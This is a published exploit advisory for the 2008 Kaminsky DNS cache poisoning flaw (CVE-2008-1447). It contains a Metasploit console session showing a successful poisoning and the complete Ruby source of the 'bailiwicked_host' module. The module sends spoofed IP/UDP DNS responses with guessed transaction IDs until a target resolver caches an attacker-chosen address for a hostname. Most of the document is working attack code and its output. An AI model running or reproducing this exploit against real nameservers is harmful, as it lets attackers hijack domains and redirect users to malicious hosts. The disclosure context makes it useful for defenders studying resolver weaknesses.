WLB - Kaminsky DNS Cache Poisoning Flaw Exploit

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Computer Academic Underground
http://www.caughq.org
Exploit Code

===============/========================================================
Exploit ID: CAU-EX-2008-0002
Release Date: 2008.07.23
Title: bailiwicked_host.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email: I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious host entry
into the target nameserver. By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.

Example
=======

# /msf3/msfconsole

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=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME pwned.example.com yes Hostname to hijack
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes Nameserver used for
reconnaissance
RHOST yes The target address
SRCPORT yes The target server's source query
port (0 for automatic)
XIDS 10 yes Number of XIDs to try for each
query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to
poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got answer with 2 answers, 0 authorities
[*] Got an NS record: example.com. 172643 IN NS
ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns89.worldnic.com. 172794 IN A
205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for
example.com....
[*] ns89.worldnic.com. is authoritative for example.com., adding to list
of nameservers to spoof as
[*] Got an NS record: example.com. 172643 IN NS
ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns90.worldnic.com. 172794 IN A
205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for
example.com....
[*] ns90.worldnic.com. is authoritative for example.com., adding to list
of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into
A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server: A.B.C.D
Address: A.B.C.D#53

Non-authoritative answer:
Name: pwned.example.com
Address: 1.3.3.7

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113

Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

include Exploit::Remote::Ip

def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations
which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a
single
malicious host entry into the target nameserver by sending random
sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain
a
malicious host entry for the hostname to be poisoned in the authority
and
additional records sections. Eventually, a guessed ID will match and
the
spoofed packet will get accepted, and due to the additional hostname
entry
being within bailiwick constraints of the original request the
malicious host
entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5585 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'Privileged' => true,
'Targets' =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => 'Jul 21 2008'
))

register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query
port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack',
'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname',
'1.3.3.7']),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance',
'208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query',
10]),
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS
server (RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify
exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)

random = false
ports = []
lport = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt =
"spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.co
m"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~
/^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')

print_status(" >> ADDRESS: #{t_addr} PORT:
#{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end

srv_sock.close

if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our
vulnerability check requests")
return
end

if(random)
print_status("PASS: This server does not use a static source port.
Ports: #{ports.join(", ")}")
print_status(" This server may still be exploitable, but not
by this tool.")
else
print_status("FAIL: This server uses static source ports and is
vulnerable to poisoning")
end
end

def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + '.'
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
ttl = datastore['TTL'].to_i
xidbase = rand(4)+2*10000

domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)

# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt =
"spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~
/^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i

print_status("Switching to target port #{sport} based on
Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same
as the nameserver's query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s ==
address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target
cache: #{name} == #{address}")
print_status(" Cache entry expires on #{t.to_s}...
sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e}
#{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search
=> false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection of
#{hostname} as #{address}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s
nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers,
#{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of
#{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the
hostname
#print_status " Got answer with #{answer1.header.anCount} answers,
#{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address,
:dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying
#{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >=
1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain},
adding to list of nameservers to spoof as"
end
end
end
end

if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end

# Flood the target with queries and spoofed responses, one will
eventually hit
queries = 0
responses = 0

connect_ip if not ip_sock

print_status( "Attempting to inject a poison record for #{hostname}
into #{target}:#{sport}...")

while true
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain #
randomize the hostname

# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl,
Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl,
Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl,
Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[i][:addr].to_s,
:src => barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed
responses...")
end

# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s ==
address)
print_status("Poisoning successful after #{queries} attempts:
#{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e}
#{e.backtrace}")
end
end

end

end

end
end